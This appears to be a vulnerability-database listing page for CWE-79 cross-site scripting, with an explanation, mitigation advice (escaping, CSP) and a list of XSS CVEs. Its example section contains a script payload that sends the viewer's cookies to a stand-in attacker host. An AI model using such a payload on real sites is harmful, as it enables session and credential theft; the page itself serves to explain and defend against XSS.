Fallos del tipo CWE-79

29.055 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-38460MEDIUMWordPress NOTICE BOARD plugin <= 1.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-22936MEDIUMCross-site scripting (XSS) vulnerability in Parents & Student Portal in Genesis School Management Systems in Genesis AIMS Student InformatioEPSS 0.6%CVE-2026-50883CRITICALAn HTML injection vulnerability in the /src/highlight.rs component of matze wastebin v3.4.1 allows attackers to execute arbitrary scripts viEPSS 0.6%CVE-2024-0283LOWKashipara Food Management System party_details.php cross site scriptingEPSS 0.6%CVE-2024-3140LOWSourceCodester Computer Laboratory Management System cross site scriptingEPSS 0.6%CVE-2022-2934MEDIUMBeaver Builder – WordPress Page Builder <= 2.5.5.2 - Authenticated Stored Cross-Site Scripting via Image URLEPSS 0.6%CVE-2022-45217MEDIUMA cross-site scripting (XSS) vulnerability in Book Store Management System v1.0.0 allows attackers to execute arbitrary web scripts or HTML EPSS 0.6%CVE-2024-36498MEDIUMStored cross site scriptingEPSS 0.6%CVE-2025-1239MEDIUMWatchGuard Firebox Stored Cross-Site-Scripting (XSS) Vulnerability in Blocked Sites ListEPSS 0.6%CVE-2026-40545MEDIUMReflected XSS in SOPlanningEPSS 0.6%CVE-2026-46594MEDIUMReflected XSS in PHP Poll ScriptEPSS 0.6%CVE-2026-6909MEDIUMReflected XSS in ATutorEPSS 0.6%CVE-2022-2716MEDIUMBeaver Builder – WordPress Page Builder <= 2.5.5.2 - Authenticated Stored Cross-Site Scripting via Text EditorEPSS 0.6%CVE-2025-70336MEDIUMA Stored cross-site scripting (XSS) vulnerability in 'Create New Live Item' in PodcastGenerator 3.2.9 allows remote attackers to inject arbiEPSS 0.6%CVE-2026-6956MEDIUMReflected XSS in ATutorEPSS 0.6%CVE-2022-42710MEDIUMNice (formerly Nortek) Linear eMerge E3-Series 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e devices are vulnerabEPSS 0.6%CVE-2026-11772MEDIUMReflected XSS in DRIMO CMSEPSS 0.6%CVE-2026-9585HIGHUnauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web PortalEPSS 0.6%CVE-2024-9371MEDIUMBranda – White Label & Branding, Custom Login Page Customizer <= 3.4.19 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2020-21052MEDIUMCross Site Scripting vulnerability in zrlog zrlog v.2.1.3 allows a remote attacker to execute arbitrary code via the nickame parameter of thEPSS 0.6%